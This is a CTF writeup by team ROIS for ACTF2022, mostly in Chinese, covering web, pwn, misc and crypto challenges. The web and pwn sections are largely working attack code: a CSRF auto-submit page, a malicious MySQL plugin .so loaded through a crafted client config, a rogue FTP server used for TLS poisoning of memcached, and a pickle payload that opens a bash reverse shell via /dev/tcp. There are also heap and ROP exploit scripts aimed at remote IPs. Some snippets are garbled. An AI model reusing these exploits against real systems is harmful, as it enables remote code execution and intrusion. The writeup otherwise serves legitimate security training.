ACTF2022 writeup by ROIS
[web]
gogogo
https://tttang.com/archive/1399/
写一个劫持LD_PRELOAD的动态链接库
发包爆pid即可
beWhatYouWannaBe
想办法变admin
有browser
flag1
//服务器 test.js
const app = require('express')()
const crypto = require('crypto')
const LISTEN = '0.0.0.0'
const PORT = 11224
app.set('view engine', 'ejs')
app.get('/', (req, res) => {
var sha256 = crypto.createHash('sha256');
var time = Date.now()-511;
var time2 = Math.floor(time / 1000)-1;
var time3 = Math.sin(time2).toString()
var tooken = sha256.update(time3).digest('hex');
console.log(`time:${time}`);
console.log(`time2:${time2}`);
console.log(`time3:${time3}`);
console.log(`token:${tooken}`);
console.log("-------------");
res.render('test', { name: tooken })
})
app.listen(PORT, LISTEN, () => {
console.log(`listening ${LISTEN}:${PORT}...`)
})
//test.ejs
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/beAdmin" method="POST">
<input type="hidden" name='username' value='liao' />
<input type="hidden" name='csrftoken' value='<%= name %>' />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
<h1><%= name %></h1>
</html>
flag2
page.evaluate在浏览器中执行,过滤js执行,考虑dom破坏
https://portswigger.net/research/dom-clobbering-strikes-back
来个四重的就行了
- html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<iframe name=fff srcdoc="
<iframe srcdoc='<input id=aaa name=ggg href=cid:Clobbered value=this_is_what_i_want>test</input><a id=aaa>' name=lll>"></iframe>
<style>@import '//portswigger.net';</style>
</body>
</html>
poorui
直接登录admin账号,修改api为getflag
myclient
mysqli_options 可控
https://www.php.net/manual/zh/mysqli.options.php
设置 MYSQLI_INIT_COMMAND 执行任意sql语句
设置 MYSQLI_READ_DEFAULT_FILE 可以从指定的文件中读取客户端配置选项
写入一个恶意so文件和一个自定义客户端配置 然后加载客户端配置会去加载自定义plugin.so实现客户端rce
https://dev.mysql.com/doc/c-api/5.7/en/c-api-plugin-interface.html
a client that supports the use of authentication plugins normally causes a plugin to be loaded by calling mysql_options() to set the MYSQL_DEFAULT_AUTH and MYSQL_PLUGIN_DIR options:
恶意so生成
#define _GNU_SOURCE
#include <stdlib.h>
__attribute__ ((__constructor__)) void preload (void)
{
system("touch /tmp/pwned");
}
//# gcc evil450.c -o evil450.so --shared -fPIC
//mmmmy.cnf
[client]#
plugin_dir=/tmp/e10adc3949ba59abbe56e057f20f883e #
default_auth=evil450 #
default_authentication_plugin = evil450 #
default_authentication = evil450 #
init-command=SELECT 0x(恶意so的十六进制) INTO DUMPFILE "/tmp/e10adc3949ba59abbe56e057f20f883e/evil450.so";#
mysql写文件把mmmmy.cnf 写入 /tmp/e10adc3949ba59abbe56e057f20f883e/mmmmy.cnf 然后访问
http://ip:port/index.php?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/mmmmy.cnf
执行任意命令
文件分块传输,最后用sql语句拼接,exp:
mysql 写文件会在行末加 \ 注意截取 别吞byte 会导致so损坏
import requests
url = "http://124.71.205.170:10047/index.php"
payload = []
with open("res1.txt","r") as f:#res1.txt 是 mmmmy.cnf文件的十六进制
file_data = f.read()
i = 0
j = 0
while i < len(file_data):
if i + 1000 > len(file_data):
values = file_data[i:]
else:
values = file_data[i:i + 1000]
i = i + 1000
j = j + 1
payload+=[values]
#分块长度,1000个十六进制,500个字符
length = int(500)
#生成分块文件的sql语句
filenames = []
i=0
for v in payload:
filename = "/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS"+str(i)
filenames += [filename]
sql = "select 0x"+v+" into outfile '"+filename+"'"
print(sql)
i+=1
params = {
"key" : 3,
"value" : sql
}
resp = requests.get(url,params)
print(resp.text)
#文件合并
sqlinit = "select 0x"+payload[1]+" into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp1'"
params = {
"key" : 3,
"value" : sqlinit
}
resp = requests.get(url,params)
i=1
for v in filenames:
if i==len(filenames)-1:
break
sql2 = "select concat_ws('',(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp"+str(i)+"'),1,"+str(length*(i))+")),(select substr(load_file('"+filenames[i+1]+"'),1,"+str(length)+"))) into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp"+str(i+1)+"';"
print(sql2)
params = {
"key": 3,
"value": sql2
}
resp = requests.get(url, params)
i += 1
sqlinit = "select concat_ws('',(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS0'),1,505)),(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp58'),1,28582))) into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf';"#mysql写文件换行会在行末加 \ 注意截断,自己debug
params = {
"key" : 3,
"value" : sqlinit
}
resp = requests.get(url,params)
requests.get(url+"?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf")
requests.get(url+"?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf")
ToLeSion
用ftps协议进行tls投毒,打memcached
开一个tls恶意服务端,将上层流量转给2048端口开的恶意vsftpd服务
tls恶意服务端:
custom-tls -p 11200 --certs /root/tls/fullchain.pem --key /root/tls/privkey.pem forward 2048
恶意vsftpd服务:
#exp.py
#!/usr/bin/env python3
import socketserver, threading,sys
class MyTCPHandler(socketserver.StreamRequestHandler):
def handle(self):
print('[+] connected', self.request, file=sys.stderr)
print('send 1')
self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr,flush=True)
print('send 2')
self.request.sendall(b'230 Login successful.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
print('send3')
self.request.sendall(b'200 yolo\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
print('send4')
self.request.sendall(b'200 yolo\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
print('send5')
self.request.sendall(b'257 "/" is the current directory\r\n')
# self.data = self.rfile.readline().strip().decode()
# print(self.data, file=sys.stderr)
# print('send 6')
# self.request.sendall(b'250 Directory successfully changed.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
print('send 6')
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192).\r\n')
# self.request.sendall(b'229 Entering Extended Passive Mode (|||10017|)\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
print('send 7')
#self.request.sendall(b'229 Entering Extended Passive Mode (|||11200|)\r\n')
self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192).\r\n')
import time
#time.sleep(1)
self.data = self.rfile.readline().strip().decode()
print('send 8')
print(self.data, file=sys.stderr)
self.request.sendall(b'200 Switching to Binary mode.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
print('send 9')
self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')
self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
print('send 10')
# 226 Transfer complete.
self.request.sendall(b'250 Requested file action okay, completed.')
exit()
def ftp_worker():
with socketserver.TCPServer(('0.0.0.0', 2048), MyTCPHandler) as server:
while True:
server.handle_request()
threading.Thread(target=ftp_worker).start()
然后访问http://123.60.131.135:10023/?url=ftps://bubb1e.com:11200/即可写入memchached
memcached pickle反序列化rce
pickel生成:
import pickle
import os
from memcache import Client
victim = "127.0.0.1"
class RCE:
def __reduce__(self):
cmd = f"/bin/bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'"
return os.system, (cmd,) mc = Client(['127.0.0.1:11200']) mc.set("actfSession:you_have_been_pwned", pickle.dumps(RCE())) print(mc.get("actfSession:you_have_been_pwned"))
携带cookie访问flask即可反弹shell
Cookie: BD_UPN=12314753; session=you_have_been_pwned
[pwn]
treepwn
from pwn import *
import os
r=process('./treepwn')
r=remote('121.36.241.104',9999)
context.log_level = 'debug'
#elf = ELF('./treepwn')
#libc = elf.libc
def ch(i):
r.sendlineafter("Your choice >",str(i))
def add(x,y,name):
ch(0)
r.sendlineafter("new element x-coordinate value:",str(x))
r.sendlineafter("new element y-coordinate value:",str(y))
r.sendlineafter("name:",name)
def free(x,y):
ch(1)
r.sendlineafter("want element x-coordinate value:",str(x))
r.sendlineafter("want element y-coordinate value:",str(y))
def edit(x,y,name):
ch(2)
r.sendlineafter("want element x-coordinate value:",str(x))
r.sendlineafter("want element y-coordinate value:",str(y))
r.sendlineafter("input the edited name: ",name)
def show(x,y):
ch(3)
r.sendlineafter("want element x-coordinate value: ",str(x))
r.sendlineafter("want element y-coordinate value: ",str(y))
#def qury(x,y):
#gdb.attach(r)
r.recvuntil(b"by `")
cmd = r.recvuntil(b'`',drop = True)
print(cmd.decode())
r.sendline(os.popen(cmd.decode()).read())
add(1,1,b'1'*0x20)
add(2,2,b'2'*0x20)
add(3,3,b'3'*0x20)
add(4,4,b'4'*0x20)
add(6,6,b'6'*0x20)
add(7,7,b'7'*0x20)
add(8,8,b"/bin/sh\x00"+p64(0)*3)
add(9,9,b'9'*0x20)
add(10,10,b'a'*0x20)
add(11,11,b'b'*0x20)
add(12,12,b'c'*0x20)
add(13,13,b'd'*0x20)
add(14,14,b'e'*0x20)
add(15,15,b'f'*0x20)
add(16,16,b'g'*0x20)
add(17,17,b'h'*0x20)
add(18,18,b'i'*0x20)
add(19,19,b'j'*0x20)
add(20,20,b'x'*0x20)
#context.log_level = 'debug'
free(3,3)
add(5,0,b'5'*0x20)
free(1,1)
free(4,4)
show(4,4)
r.recvuntil(b"found!!! its name: ")
r.recv(8)
heap_addr = u64(r.recv(8))-0x10
print(hex(heap_addr))
edit(5,0,p64(0)*3+p64(heap_addr+0x10))
edit(4,4,p64(heap_addr+0x340)+p64(heap_addr+0x10)+b'a'*0x10)
add(4,4,b'a'*0x20)
#pause()
add(32,32,p64(0)*3+p64(0x441))
free(4,4)
add(4,4,b'a'*0x20)
show(6,6)
r.recvuntil(b"found!!! its name: ")
libc_base = u64(r.recv(8))- 0x3ebca0
free_hook = libc_base+0x3ed8e8
system = libc_base +0x04f420
print("system : ",hex(system))
print("free_hook: ",hex(free_hook))
print("libc_base: ",hex(libc_base))
add(4,0,b'a'*0x20)
free(10,10)
free(4,4)
edit(4,4,p64(free_hook-8)+p64(heap_addr+0x10)+p64(0)*2)
pause()
add(20,20,b"/bin/sh\x00"+p64(0)*3)
add(21,21,p64(system)*2+p64(0)*2)
free(8,8)
r.interactive()
程序实现的是某种平衡机制的树,但是我不会,我在测试时候,偶然发现当我在递增的数据后面,写一个比较小的x,y,就会查到前面,而且还会insert两次,就根本不去逆向,直接开始打。
我连续递增是申请不包括(5,5)的node,然后我插入(5,0),就会重新分配树的结构
导致了(4,4)存在两次,free后,不会改变x,y的值,依旧通过(4,4)可以索引到chunk,这里我们先后释放两个chunk(1,1),(4,4),show(4,4)得到heap_address。edit(4,4)将(4,4)的fd改为(5,0)chunk+0x10,(5,0)是由(3,3)得到的,所以偏移0x10后 ,申请出来可以覆盖到 (4,4)的堆头,修改size为largechunk的范围,然后再将(4,4)对应的chunk free,进入unsortedbins,最开始的(4,4)下一个是(6,6),我们从unsortedbins获取到一个chunk,unsortedbins的头部就变为了(6,6)的位置,所以show(6,6)泄露libc。后面同样的时候,利用chunk的重复利用,修改fd为free_hook,将free_hook改为system.
mykvm
漏洞点就在于memcpy把code复制进去的时候没检查size,会把栈上面的数据一起复制到将来kvm的内存里,且在kvm跑完之后,会有一个memcpy的操作:
kvm_run(&buf, (signed int)nbytes); // run kvm
*(size_t *)((char *)&nbytes + 4) = (size_t)read_input((__int64)"host name: ");
memcpy(dest, *(const void **)((char *)&nbytes + 4), 0x20uLL);
puts("Bye!");
程序没开pie,且got可写,于是乎我们就选择把dest改为got,在利用这个memcpy来劫持got表
dest指针刚刚好就在kvm的内存底下,我们可以直接改写:
mov al, 0x0b
mov byte ptr[0x7100], al
mov al, 0x20
mov byte ptr[0x7101], al
mov al, 0x60
mov byte ptr[0x7102], al
mov al, 0x0
mov byte ptr[0x7103], al
就利用栈上残留的数据泄露libc,接着劫持puts@got为one_gadget就好
exp:
from pwn import *
#context.arch = 'amd64'
# p = process('./mykvm')
p = remote("20.247.110.192",10888)
elf = ELF('./mykvm')
libc = elf.libc
#dbg()
#memory = 0x603000
puts_got = elf.got['puts']
sc1 = '''
mov dx, 0x3f8
mov al,0x34
out dx,al
mov al, 0x0b
mov byte ptr[0x7100], al
mov al, 0x20
mov byte ptr[0x7101], al
mov al, 0x60
mov byte ptr[0x7102], al
mov al, 0x0
mov byte ptr[0x7103], al
jmp leak
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
leak:
'''
offset = 0xd30
sc2 = ''
for i in range(offset,offset+0x50):
sc2 += "mov al,byte ptr[%d]\nout dx,al\n" % (i)
code = asm(sc1).replace('\x90','\x00') + asm(sc2+'hlt')
# gdb.attach(p)
# gdb.attach(p,"b *0x4010B6 ")
p.sendlineafter('size: ',str(0xff0))
p.sendafter('code: ',code)
#p.interactive()
p.recvuntil('name: ')
p.sendline('name')
p.recvuntil('guest passwd: ')
p.sendline('passwd')
p.recvuntil("passwd\n\x00")
leak_data = p.recv(0x50)
libc_addr = u64(leak_data[0x28:0x30]) - 0x143ee5
info("libc_addr value:" + hex(libc_addr+0xf1247))
p.recvuntil("host name:")
p.sendline('a'*0x1d+p64(0xf1247+libc_addr)[:3])
# print hex(elf.got['puts'])
p.interactive()
#p.sendlineafter('host name: ',p64(0x060424A ))
nop指令是为了给’\x00’占位,来凑one_gadget的条件;readline函数好像会发癫,所以需要多跑几次
2048
from pwn import *
context.arch="arm64"
#libc = ELF('/usr/aarch64-linux-gnu/lib/libc-2.27.so')
libc = ELF('libc-2.31.so')
r=remote('124.70.166.38',9999)
#r= process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "./ori"])
elf =ELF('./ori')
code = "asasasasasasassasasasasasasaasasasasasasassasasasasasasadadasaasasassadsassssassadsasassassdasdadadadssasasaaadsaasasdsasdsaasdadassasasdssdsasasaaadassdsaasaadsaasssasdsaassassdsasassadsasdsasasdsssdsassassaasasdasasasadsaaadasadssssasadsasasaasasdsaassaasaaasasaaaaaaadasssdaasaaaadsasdsssadsssasadsaadsaadsdsasadassaasdssadsaasasasaasasadadsasasaassaasadsasaasasadsasadasaasasasasaadadadsasdssasdsdsssdsdaaasdsdsddssasassssdasssassaadasasasadasasassdsasssasssasssssdsssssssasadssdsdsasdsassaasaassddsaasasasasssdsassasdaassdassdssaasasssdsdssadassdassdasasadadasasdasdsasaadasdsassasdsadadssasdssssdassdsdsadsssassasssdsasassaassdsasdsadssasssdsaassadsasaasdssasdsssasasdsdsdsdaddsddddddasdssasssdasdsssadasasassaaasaaaassasaadssdsdsddadsdsaasdassasasdadsasddsasasdsddsssasdsdsdsssdsasassdsdssdsdsdsdsdddadsdasdsdsdsdsssdssdsddsdadadsdssddsdadasdssdddsasssdadssadssssdadsdssdssdsddssddsdsasdsdasdsasddsdssddsdasddsasassddsdsdsaasddsadsdssdsassasassdsdassasddssssadsdsdssddsdddddadsdsdsaaa"
#it will ret to main to run again
puts_got = 0x412f88
main = 0x401F74
ret_csu_beg = 0x00000004020B8
ret_csu_fini = 0x00000004020D8
name_addr = 0x0413154
def csu_rop(call, x0, x1, x2):
payload = flat(ret_csu_fini, '\x00'*8, ret_csu_beg, 0, 1, call)
payload += flat(x0, x1, x2)
payload += b'\x00'*8
return payload
pad = flat(cyclic(0x28)+csu_rop(elf.got['puts']elf.got['puts']),0,0,)+flat(0x4007D0)
r.recvuntil(b"by `")
cmd = r.recvuntil(b'`',drop = True)
print(cmd.decode())
r.sendline(os.popen(cmd.decode()).read())
r.sendlineafter("Input your name:","aaaa")
r.send(code)
r.interactive()
r.sendline(pad)
#context.log_level = 'debug'
r.recvuntil("Bye~\n")
puts_addr = u64(r.recvuntil(b"\n",drop = True).ljust(8,b'\x00'))+0x4000*0x1000000
libc_base = puts_addr - libc.sym['puts']
print("libc_base : ",hex(libc_base))
print("puts : ",hex(puts_addr))
system = libc_base + libc.sym['system']
print("system : ",hex(system))
onegadget = libc_base+0x63e80
#onegadget = 0xcafebabedeadbeef
pad = flat(cyclic(0x28)+csu_rop(name_addr,name_addr+8,0,0))+flat(0x4007D0)
pause()
name = p64(system)+b'/bin/sh\x00'
r.sendline(name)
r.send(code)
r.interactive()
r.sendline(pad)
r.interactive()
程序并没有实现真正的随机,每一次nc重启服务,都是在同一个位置,相同的操作后都是一样的结果。手动玩出2048记录键位
后面明显的栈溢出。
只不过,arm的返回地址在栈顶,这里我们覆盖的话,填充0x28字节的垃圾,就可以把main函数的返回地址改写。这里用到的ret2csu.
.text:00000000004020B8 A3 7A 73 F8 LDR X3, [X21,X19,LSL#3]
.text:00000000004020BC E2 03 18 AA MOV X2, X24
.text:00000000004020C0 73 06 00 91 ADD X19, X19, #1
.text:00000000004020C4 E1 03 17 AA MOV X1, X23
.text:00000000004020C8 E0 03 16 2A MOV W0, W22
.text:00000000004020CC 60 00 3F D6 BLR X3
.text:00000000004020D0 9F 02 13 EB CMP X20, X19
.text:00000000004020D4 21 FF FF 54 B.NE loc_4020B8
.text:00000000004020D8
.text:00000000004020D8 loc_4020D8 ; CODE XREF: sub_402070+3C↑j
.text:00000000004020D8 F3 53 41 A9 LDP X19, X20, [SP,#var_s10]
.text:00000000004020DC F5 5B 42 A9 LDP X21, X22, [SP,#var_s20]
.text:00000000004020E0 F7 63 43 A9 LDP X23, X24, [SP,#var_s30]
.text:00000000004020E4 FD 7B C4 A8 LDP X29, X30, [SP+var_s0],#0x40
.text:00000000004020E8 C0 03 5F D6 RET
要注意的是寄存器之间的数值的传递,函数调用的位置是在BLR X3,但是这里x3需要是一个函数指针,或者got表。所以我们泄露的时候就是传进去的puts的got地址,指向puts的地址。
因为程序是用qemu跑的,远程也是所以其实每次的地址都不变,而且程序的基地址这块开头都是0x4000######,这应该是qemu实现的原因。puts只会泄露出最后的三字节。拿到基址后就可以获取system了,二次执行程序,ret2csu必须是函数指针,所以我们把system的地址写进name,’/bin/sh\x00’写进name+8,就解决了ret2csu 调用函数指针的问题,就可以getshell。
最开始本地跑的时候,用的是2.27的环境,2.27是存在onegadget的,但是2.31下貌似没有,我换了更新版本的工具也是没有查出来。然后撸libc反汇编代码,也没有找到几个合适的,试了一个,也报错了/
[misc]
signin
多重压缩成的压缩包
多重解压即可
import os
from time import sleep
# os.popen("cp ../flag~ .;mv flag~ flag")
for i in range(10000):
cmd = os.popen("file flag").read()
print(cmd)
if "bzip2 compressed data" in cmd:
os.popen("bzip2 -d flag;mv flag.out flag")
sleep(0.3)
elif "LZMA compressed data" in cmd:
os.popen("mv flag flag.lzma;lzma -d flag.lzma")
sleep(0.3)
elif "XZ compressed data" in cmd:
os.popen("mv flag flag.xz;xz -d flag.xz")
sleep(0.3)
elif "Zstandard compressed data" in cmd:
os.popen("rm flag.zst;mv flag flag.zst;zstd -d flag.zst")
sleep(0.3)
elif "gzip compressed data" in cmd:
os.popen("mv flag flag.gz;gzip -d flag.gz")
sleep(0.3)
else:
print(cmd)
break
Mahjoong
Yakuman => 役満 => manguan
找到flag逻辑
let a = [240,188,218,205,188,154,138,200,207,33,26,246,30,136,124,38,241,178,193,127,163,161,72,140,187,16,19];
let b = [177, 255, 142, 139, 199, 227, 202, 163, 186, 76, 91, 152, 65, 185, 15, 121, 152, 220, 162, 13, 198, 197, 36, 191, 215, 117, 110];
let c = new Array(27);
for(var i = 0 ;i < 27; i++){
c[i] = String.fromCharCode(a[i] ^ b[i]);
}
alert(c.join(''));
safer****-****telegram****-****bot****-****1
把bot拉进群聊,一通操作
signoff
问卷签退
[crypto]
impossible RSA
k与e应在同一数量级,可爆破,解出p.
RSA LEAK
- 注意到rp和rq都只有24比特. 爆破其中一项,验证另一项的比特位数. 得到rp与rq.
- 有数量关系: ,其中 项决定了 大约一半的比特位,故有 .
- z3解方程
secure connection
- 分析协议. 目标是解出sessionkey,这需要以下5个数据:shared numeric key、S和M的Random和Secret.
- 据协议在日志中可以找到S和M的Random和Secret,缺损部分利用CRC恢复.
- shared numeric key的取值很小,据MConfirm和Mrandom爆破. 据此恢复出sessionkey,对最后一部分会话解密得到flag.